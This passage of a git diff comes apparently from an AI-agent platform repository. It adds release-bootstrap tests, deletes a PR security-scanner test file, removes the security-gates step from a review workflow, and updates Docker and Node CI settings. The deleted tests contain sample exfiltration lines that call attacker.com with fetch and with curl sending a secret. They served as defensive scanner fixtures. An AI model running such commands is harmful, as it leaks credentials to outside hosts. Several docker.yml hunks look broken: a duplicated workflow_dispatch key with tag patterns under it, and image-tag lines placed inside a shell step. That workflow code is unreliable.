'node:test'; +import assert from 'node:assert/strict'; +import { + addedWorkspaceDependencyNames, + checkReleaseBootstrap, +} from '../check-pr-release-bootstrap.mjs'; + +const MANIFEST_PATH = 'scripts/release-package-manifest.json'; + +function encodeManifest(entries) { + return { content: Buffer.from(JSON.stringify(entries)).toString('base64') }; +} + +function stubGitHub({ base = [], head = [] }) { + return async (path) => { + if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head); + if (path.includes(`/contents/`)) return encodeManifest(base); + throw new Error(`unexpected fetch: ${path}`); + }; +} + +const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' }; + +test('does nothing (and fetches nothing) when the manifest is untouched', async () => { + const result = await checkReleaseBootstrap( + [{ filename: 'server/src/index.ts', status: 'modified' }], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: async () => { throw new Error('should not fetch'); }, + registryPackageExists: async () => { throw new Error('should not look up'); }, + } + ); + + assert.deepEqual(result, { passed: true, informational: [] }); +}); + +test('notices a new publishFromCi:true package that is missing from npm', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }], + head: [ + { dir: 'a', name: '@paperclipai/existing', publishFromCi: true }, + { dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }, + ], + }), + registryPackageExists: async (name) => name !== '@paperclipai/brand-new', + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/brand-new/); + assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/); + assert.match(result.informational[0], /No contributor action/); +}); + +test('stays quiet when the new package already exists on npm', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }], + }), + registryPackageExists: async () => true, + } + ); + + assert.deepEqual(result.informational, []); +}); + +test('notices a publishFromCi flip from false to true on a missing package', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }], + head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }], + }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/flipped/); +}); + +test('notices a publishFromCi:false package that published packages newly depend on', async () => { + const files = [ + manifestChangedFile, + { + filename: 'server/package.json', + status: 'modified', + patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-kimi-local": "workspace:*",', + }, + ]; + + const result = await checkReleaseBootstrap( + files, + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }], + }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /depend on it/); + assert.match(result.informational[0], /"publishFromCi": true/); + assert.match(result.informational[0], /drop the workspace dependency/); +}); + +test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => { + const files = [ + { + filename: 'server/package.json', + status: 'modified', + patch: '@@ -1 +1 @@\n+ "@paperclipai/adapter-hermes-gateway": "workspace:*",', + }, + ]; + + const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }]; + const result = await checkReleaseBootstrap( + files, + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }), + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/); + assert.match(result.informational[0], /depend on it/); +}); + +test('stays quiet for a publishFromCi:false package nothing depends on', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }], + }), + registryPackageExists: async () => { throw new Error('should not look up'); }, + } + ); + + assert.deepEqual(result.informational, []); +}); + +test('never looks up names outside the @paperclipai scope', async () => { + const lookedUp = []; + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [ + { dir: 'x', name: '@evil/probe', publishFromCi: true }, + { dir: 'y', name: 'unscoped-name', publishFromCi: true }, + { dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true }, + ], + }), + registryPackageExists: async (name) => { + lookedUp.push(name); + return false; + }, + } + ); + + assert.deepEqual(lookedUp, []); + assert.deepEqual(result.informational, []); +}); + +test('stays quiet when the registry lookup fails', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: stubGitHub({ + base: [], + head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }], + }), + registryPackageExists: async () => { throw new Error('registry down'); }, + } + ); + + assert.deepEqual(result, { passed: true, informational: [] }); +}); + +test('treats a missing base manifest as empty (every head entry is new)', async () => { + const result = await checkReleaseBootstrap( + [manifestChangedFile], + 'token', + 'paperclipai/paperclip', + 9967, + 'master', + { + fetchFromGitHub: async (path) => { + if (path.includes('ref=refs%2Fpull%2F')) { + return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]); + } + throw new Error('404 base manifest'); + }, + registryPackageExists: async () => false, + } + ); + + assert.equal(result.informational.length, 1); +}); + +test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => { + const names = addedWorkspaceDependencyNames([ + { + filename: 'server/package.json', + patch: [ + '@@ -1,3 +1,4 @@', + ' "@paperclipai/context-line": "workspace:*",', + '- "@paperclipai/removed-dep": "workspace:*",', + '+ "@paperclipai/added-dep": "workspace:*",', + ].join('\n'), + }, + { filename: 'ui/src/index.ts', patch: '+ "@paperclipai/not-a-pkg-json": "workspace:*",' }, + { filename: 'node_modules/x/package.json', patch: '+ "@paperclipai/vendored": "workspace:*",' }, + ]); + + assert.deepEqual([...names], ['@paperclipai/added-dep']); +}); diff --git a/.github/scripts/tests/check-pr-security.test.mjs b/.github/scripts/tests/check-pr-security.test.mjs deleted file mode 100644 index 637e2c50b45..00000000000 --- a/.github/scripts/tests/check-pr-security.test.mjs +++ /dev/null @@ -1,380 +0,0 @@ -import { test } from 'node:test'; -import assert from 'node:assert/strict'; -import { - buildAdvisoryPayload, - findExistingDraftAdvisory, - postSecurityCheckRun, - scanSecrets, - scanCITampering, - scanBuildScripts, - scanSupplyChain, - scanTestPatterns, - scanSensitivePaths, - startScriptWatchdog, - syncDraftAdvisory, - validateSensitivePaths, -} from '../check-pr-security.mjs'; -import { ghFetch } from '../get-bot-token.mjs'; - -// ── scanSecrets ────────────────────────────────────────────────────────────── - -test('scanSecrets: flags OpenAI key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: flags AWS key in added line', () => { - const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }]; - assert.ok(scanSecrets(files).length > 0); -}); - -test('scanSecrets: ignores removed lines', () => { - const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }]; - assert.equal(scanSecrets(files).length, 0); -}); - -test('scanSecrets: ignores files without patch', () => { - assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0); -}); - -// ── scanCITampering ────────────────────────────────────────────────────────── - -test('scanCITampering: flags workflow file changes', () => { - const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }]; - assert.ok(scanCITampering(files).length > 0); -}); - -test('scanCITampering: ignores non-workflow files', () => { - const files = [{ filename: 'src/foo.ts', status: 'modified' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -test('scanCITampering: ignores removed workflow files', () => { - const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }]; - assert.equal(scanCITampering(files).length, 0); -}); - -// ── scanBuildScripts ───────────────────────────────────────────────────────── - -test('scanBuildScripts: flags changes to release.sh', () => { - const files = [{ filename: 'scripts/release.sh', status: 'modified' }]; - assert.ok(scanBuildScripts(files).length > 0); -}); - -test('scanBuildScripts: ignores non-CI scripts', () => { - const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }]; - assert.equal(scanBuildScripts(files).length, 0); -}); - -// ── scanSupplyChain ────────────────────────────────────────────────────────── - -test('scanSupplyChain: flags net-new packages in lockfile', () => { - const patch = `@@ -1,3 +1,4 @@ - packages: -+ 'evil-package@1.0.0': - 'existing-package@2.0.0': -- 'old-package@1.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.ok(flags.length > 0); - assert.ok(flags[0].packages.includes('evil-package')); -}); - -test('scanSupplyChain: does not flag version-only bumps', () => { - const patch = `@@ -1,3 +1,3 @@ - packages: -- 'existing-package@1.0.0': -+ 'existing-package@2.0.0': -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0: - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('scanSupplyChain: ignores peer suffixes when matching package names', () => { - const patch = `@@ -1,2 +1,2 @@ --@scope/pkg@1.0.0(react@18.2.0): -+@scope/pkg@2.0.0(react@18.2.0): -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - assert.equal(scanSupplyChain(files).length, 0); -}); - -test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => { - const patch = `@@ -1,2 +1,3 @@ -+evil-package@1.0.0(react@18.2.0): - existing-package@2.0.0: -`; - const files = [{ filename: 'pnpm-lock.yaml', patch }]; - const flags = scanSupplyChain(files); - assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]); -}); - -test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => { - const calls = []; - const fakeFetch = async (path) => { - calls.push(path); - if (/[?&]page=1(?:&|$)/.test(path)) { - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` })); - } - if (/[?&]page=2(?:&|$)/.test(path)) { - return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return []; - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' }); - assert.equal(calls.length, 2); -}); - -test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => { - const fakeFetch = async () => [{ summary: 'Completely different advisory' }]; - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - assert.equal(advisory, null); -}); - -test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => { - let pageCount = 0; - const fakeFetch = async () => { - pageCount += 1; - return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` })); - }; - - const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469); - - assert.equal(advisory, null); - assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`); -}); - -test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => { - const calls = []; - const flags = [ - { check: 'ci-tampering', file: '.github/workflows/pr.yml' }, - { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' }, - ]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }]; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234'); - assert.equal(calls[1].options.method, 'PATCH'); - const patchBody = JSON.parse(calls[1].options.body); - const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags); - assert.deepEqual(patchBody, expectedPatch); - assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)'); -}); - -test('syncDraftAdvisory: creates a new advisory when none exists', async () => { - const calls = []; - const flags = [{ check: 'supply-chain', packages: ['evil-package'] }]; - - await syncDraftAdvisory(async (path, token, options) => { - calls.push({ path, token, options }); - if (path.includes('/security-advisories?state=draft')) { - return []; - } - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags); - - assert.equal(calls.length, 2); - assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories'); - assert.equal(calls[1].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags)); -}); - -test('postSecurityCheckRun: uses the injected fetch implementation', async () => { - const calls = []; - - await postSecurityCheckRun(async (path, token, options) => { - calls.push({ path, token, options }); - return { ok: true }; - }, 'token', 'paperclipai/paperclip', 'deadbeef', true); - - assert.equal(calls.length, 1); - assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs'); - assert.equal(calls[0].options.method, 'POST'); - assert.deepEqual(JSON.parse(calls[0].options.body), { - name: 'security-review', - head_sha: 'deadbeef', - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - }); -}); - -test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => { - const seenPaths = []; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'release/1.2', - async (path) => { - seenPaths.push(path); - return { ok: true }; - }, - ); - - assert.deepEqual(stale, []); - assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2'))); - assert.ok(!seenPaths.some(path => path.includes('ref=master'))); -}); - -test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => { - let seen404 = false; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async (path) => { - if (!seen404) { - seen404 = true; - throw new Error('GitHub API GET /contents/foo → 404: missing'); - } - return { ok: true }; - }, - ); - - assert.equal(stale.length, 1); - - await assert.rejects( - validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async () => { - throw new Error('GitHub API GET /contents/foo → 500: boom'); - }, - ), - /500: boom/ - ); -}); - -// ── scanTestPatterns ───────────────────────────────────────────────────────── - -test('scanTestPatterns: flags outbound fetch in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ const res = await fetch('https://attacker.com/collect')`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: flags execSync in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: ignores suspicious patterns in non-test files', () => { - const files = [{ - filename: 'src/api.ts', - patch: `+ const res = await fetch('https://api.example.com')`, - }]; - assert.equal(scanTestPatterns(files).length, 0); -}); - -test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => { - const files = [{ - filename: 'src/__tests__/foo.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -// ── scanSensitivePaths ─────────────────────────────────────────────────────── - -test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => { - const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => { - const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: ignores unrelated paths', () => { - const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -test('scanSensitivePaths: ignores removed files even on sensitive paths', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -// ── startScriptWatchdog ────────────────────────────────────────────────────── - -test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - startScriptWatchdog(20, fakeExit); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now'); -}); - -test('startScriptWatchdog: cleared timer never fires', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - const timer = startScriptWatchdog(20, fakeExit); - clearTimeout(timer); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, null, 'cleared watchdog must not call exit'); -}); - -// ── ghFetch timeout ────────────────────────────────────────────────────────── - -test('ghFetch: aborts the request when the per-call timeout elapses', async () => { - const originalFetch = globalThis.fetch; - // Replace global fetch with one that respects the AbortSignal but never resolves on its own. - globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => { - init?.signal?.addEventListener('abort', () => { - const err = new Error('aborted'); - err.name = 'AbortError'; - reject(err); - }, { once: true }); - }); - - try { - const start = Date.now(); - await assert.rejects( - ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }), - /aborted|abort/i, - ); - const elapsed = Date.now() - start; - assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`); - } finally { - globalThis.fetch = originalFetch; - } -}); diff --git a/.github/workflows/commitperclip-review.yml b/.github/workflows/commitperclip-review.yml index 6b712277294..4078244d794 100644 --- a/.github/workflows/commitperclip-review.yml +++ b/.github/workflows/commitperclip-review.yml @@ -9,7 +9,6 @@ on: permissions: pull-requests: write - security-events: write checks: write contents: read @@ -32,7 +31,7 @@ jobs: - name: Set up Node uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '20' + node-version: '24' - name: Generate commitperclip token id: token @@ -55,16 +54,6 @@ jobs: PR_AUTHOR: ${{ github.event.pull_request.user.login }} PR_BRANCH: ${{ github.event.pull_request.head.ref }} - - name: Run security gates - run: node .github/scripts/check-pr-security.mjs - continue-on-error: true - timeout-minutes: 3 - env: - GH_TOKEN: ${{ steps.token.outputs.value }} - GH_REPO: ${{ github.repository }} - PR_NUMBER: ${{ github.event.pull_request.number }} - PR_AUTHOR: ${{ github.event.pull_request.user.login }} - - name: Fail if quality gates failed if: >- github.event.pull_request.user.login != 'dependabot[bot]' && diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 336e905feea..9ace7683ce1 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -19,6 +19,13 @@ on: # landed on main with no docker build. refresh-lockfile.yml now force-triggers # this dispatch right after its own auto-merges land; this stays as the # general operator escape hatch for any other case (or manual force-build). + workflow_dispatch: + - "nightly/v*" + - "beta/v*" + # Release workflows push lane tags with GITHUB_TOKEN, and GitHub suppresses + # push-triggered runs for those, so release.yml dispatches this workflow at + # the new tag ref instead. The tag mapping below keys off github.ref either + # way. workflow_dispatch: permissions: @@ -54,10 +61,29 @@ jobs: id: build-version run: | set -euo pipefail - version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + case "${GITHUB_REF}" in + refs/tags/nightly/v*) + # Lane tags carry the exact published version; stamp it verbatim + # instead of describing drift from the nearest stable tag. + version="${GITHUB_REF#refs/tags/nightly/v}" + ;; + refs/tags/beta/v*) + version="${GITHUB_REF#refs/tags/beta/v}" + ;; + *) + version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + ;; + esac echo "version=${version}" >> "$GITHUB_OUTPUT" echo "Stamping build version: ${version:-}" + # ISO week stamp for the Dockerfile's tool layer: the layer caches + # across commits and re-pulls the @latest CLI tools when the week rolls + # over, instead of on every build. + - name: Compute tool cache epoch + id: tools-epoch + run: echo "epoch=$(date -u +%G-W%V)" >> "$GITHUB_OUTPUT" + - name: Setup pnpm uses: pnpm/action-setup@v6 with: @@ -70,7 +96,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 - name: Refresh lockfile for Docker build context run: | @@ -113,6 +139,8 @@ jobs: echo "Disk after cleanup:" df -h + type=raw,value=main-{{date 'YYYYMMDDHHmmss'}}-{{sha}},enable={{is_default_branch}} + type=raw,value=staging-{{date 'YYYYMMDDHHmmss'}}-{{sha}},enable=${{ github.ref == 'refs/heads/staging' }} - name: Login to GitHub Container Registry uses: docker/login-action@v4 @@ -138,17 +166,21 @@ jobs: echo "last=${last}" >> "$GITHUB_OUTPUT" echo "count=${count}" >> "$GITHUB_OUTPUT" + # Lane tag mapping: master pushes publish `:canary`, nightly/v* tags + # publish `:nightly`, and only stable v* tags move `:latest` and the + # versioned tags. `:sha-` is published on every build. - name: Docker meta id: meta uses: docker/metadata-action@v6 with: images: ghcr.io/${{ github.repository }} tags: | - type=raw,value=latest,enable={{is_default_branch}} - type=raw,value=main-{{date 'YYYYMMDDHHmmss'}}-{{sha}},enable={{is_default_branch}} - type=raw,value=staging-{{date 'YYYYMMDDHHmmss'}}-{{sha}},enable=${{ github.ref == 'refs/heads/staging' }} - type=semver,pattern={{version}} - type=semver,pattern={{major}}.{{minor}} + type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }} + type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }} + type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }} + type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} type=sha labels: | io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }} @@ -164,13 +196,39 @@ jobs: target: production build-args: | PAPERCLIP_BUILD_VERSION=${{ steps.build-version.outputs.version }} + PAPERCLIP_BUILD_COMMIT=${{ github.sha }} + CLI_TOOLS_CACHE_EPOCH=${{ steps.tools-epoch.outputs.epoch }} platforms: linux/amd64,linux/arm64 push: true - cache-from: type=gha - cache-to: type=gha,mode=max + # Registry-backed BuildKit cache instead of type=gha: the Actions + # cache is capped at 10GB per repo, and two multi-arch mode=max jobs + # evict each other, so most builds ran effectively cold. The cache + # ref lives in ghcr next to the image and is written only by this + # workflow (docker.yml runs on master/tag pushes, never on PRs). + cache-from: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache + cache-to: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache,mode=max tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} + # PID 1 must be an init that reaps adopted orphans. With node there, the + # orphans agent runs leave behind are never wait()ed and pin as zombies + # until the cgroup pid limit is exhausted and every fork() in the + # container fails. Run against the pushed image rather than a local + # build: the step above is multi-arch with `push: true`, so nothing is + # loaded into the runner's daemon. The cloud variant is FROM production + # and inherits the same ENTRYPOINT, so checking this image covers both. + - name: Verify PID 1 reaps orphaned processes + env: + # Through the environment, not interpolated into the script body, so + # the tag text is data rather than shell. + IMAGE_TAGS: ${{ steps.meta.outputs.tags }} + run: | + set -euo pipefail + image="$(printf '%s\n' "$IMAGE_TAGS" | head -n 1)" + test -n "$image" + echo "Verifying orphan reaping in $image" + docker run --rm -i --pull always "$image" sh -s < scripts/assert-orphan-reaping.sh + # The cloud variant carries built bundled plugins for managed deployments # (see the `cloud` stage in the Dockerfile). It runs as its own job with no # `needs:` on the stock publish above, so the two builds run in parallel and @@ -199,10 +257,29 @@ jobs: id: build-version run: | set -euo pipefail - version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + case "${GITHUB_REF}" in + refs/tags/nightly/v*) + # Lane tags carry the exact published version; stamp it verbatim + # instead of describing drift from the nearest stable tag. + version="${GITHUB_REF#refs/tags/nightly/v}" + ;; + refs/tags/beta/v*) + version="${GITHUB_REF#refs/tags/beta/v}" + ;; + *) + version="$(git describe --tags --match 'v*' --long --dirty 2>/dev/null || true)" + ;; + esac echo "version=${version}" >> "$GITHUB_OUTPUT" echo "Stamping build version: ${version:-}" + # ISO week stamp for the Dockerfile's tool layer: the layer caches + # across commits and re-pulls the @latest CLI tools when the week rolls + # over, instead of on every build. + - name: Compute tool cache epoch + id: tools-epoch + run: echo "epoch=$(date -u +%G-W%V)" >> "$GITHUB_OUTPUT" + - name: Setup pnpm uses: pnpm/action-setup@v6 with: @@ -215,7 +292,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 - name: Refresh lockfile for Docker build context run: | @@ -283,8 +360,9 @@ jobs: echo "last=${last}" >> "$GITHUB_OUTPUT" echo "count=${count}" >> "$GITHUB_OUTPUT" - # Published under the same tag set with a `-cloud` suffix - # (sha--cloud, latest-cloud, -cloud). + # Published under the same lane tag set as the self-hosted image, with a + # `-cloud` suffix (canary-cloud, nightly-cloud, latest-cloud, + # -cloud, sha--cloud). - name: Docker meta (cloud) id: meta-cloud uses: docker/metadata-action@v6 @@ -293,9 +371,12 @@ jobs: flavor: | suffix=-cloud,onlatest=true tags: | - type=raw,value=latest,enable={{is_default_branch}} - type=semver,pattern={{version}} - type=semver,pattern={{major}}.{{minor}} + type=raw,value=canary,enable=${{ github.ref == 'refs/heads/master' }} + type=raw,value=nightly,enable=${{ startsWith(github.ref, 'refs/tags/nightly/v') }} + type=raw,value=beta,enable=${{ startsWith(github.ref, 'refs/tags/beta/v') }} + type=raw,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{version}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} + type=semver,pattern={{major}}.{{minor}},enable=${{ startsWith(github.ref, 'refs/tags/v') }} type=sha labels: | io.github.paperclipai.schema.last-migration=${{ steps.schema.outputs.last }} @@ -311,9 +392,18 @@ jobs: build-args: | CLOUD_BUNDLED_PLUGINS=daytona PAPERCLIP_BUILD_VERSION=${{ steps.build-version.outputs.version }} - platforms: linux/amd64,linux/arm64 + PAPERCLIP_BUILD_COMMIT=${{ github.sha }} + CLI_TOOLS_CACHE_EPOCH=${{ steps.tools-epoch.outputs.epoch }} + # amd64 only, unlike the self-hosted image above: the cloud variant + # is consumed exclusively by managed-deployment hosts, which run + # amd64. The QEMU-emulated arm64 half dominated this job's wall + # clock, and dropping it roughly halves time-to-deployable-image. + platforms: linux/amd64 push: true - cache-from: type=gha - cache-to: type=gha,mode=max + # Registry-backed BuildKit cache, separate ref from the self-hosted + # job so the two parallel builds never clobber each other's cache + # manifest (see the rationale on the job above). + cache-from: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache-cloud + cache-to: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache-cloud,mode=max tags: ${{ steps.meta-cloud.outputs.tags }} labels: ${{ steps.meta-cloud.outputs.labels }} diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index 68042c04963..1b5159a0726 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -24,7 +24,7 @@ jobs: - uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 cache: pnpm - run: pnpm install --frozen-lockfile diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index cf37e3d3ed0..335e16738b1 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -50,11 +50,16 @@ jobs: - name: Validate Dockerfile deps stage run: node ./scripts/check-docker-deps-stage.mjs + - name: Validate Node version policy + run: pnpm check:node-version + - name: Reject git push in adapter/runtime code run: node ./scripts/check-no-git-push.mjs - name: Test no-git-push check run: node --test ./scripts/check-no-git-push.test.mjs + - name: Test PR quality-gate scripts + run: node --test '.github/scripts/tests/*.test.mjs' - name: Test general-server shard partition run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs @@ -150,21 +155,45 @@ jobs: include: # The server suite is pinned to maxWorkers=1 (server/vitest.config.ts), # so it can only be parallelized across runners. Shard it to keep this - # lane off the PR critical path. + # lane off the PR critical path. Five shards because the suite has + # grown to ~946s of serial vitest wall time (run 30930345729, + # 2026-08-04): at four shards the worst shard ran 311s and was the + # slowest check in the whole PR run; five brings each shard to ~196s + # of suite time (~240s job), level with the other ~250-300s lanes. - group: general-server - group_label: server (1/3) + group_label: server (1/5) shard_index: 0 - shard_count: 3 + shard_count: 5 - group: general-server - group_label: server (2/3) + group_label: server (2/5) shard_index: 1 - shard_count: 3 + shard_count: 5 - group: general-server - group_label: server (3/3) + group_label: server (3/5) shard_index: 2 - shard_count: 3 + 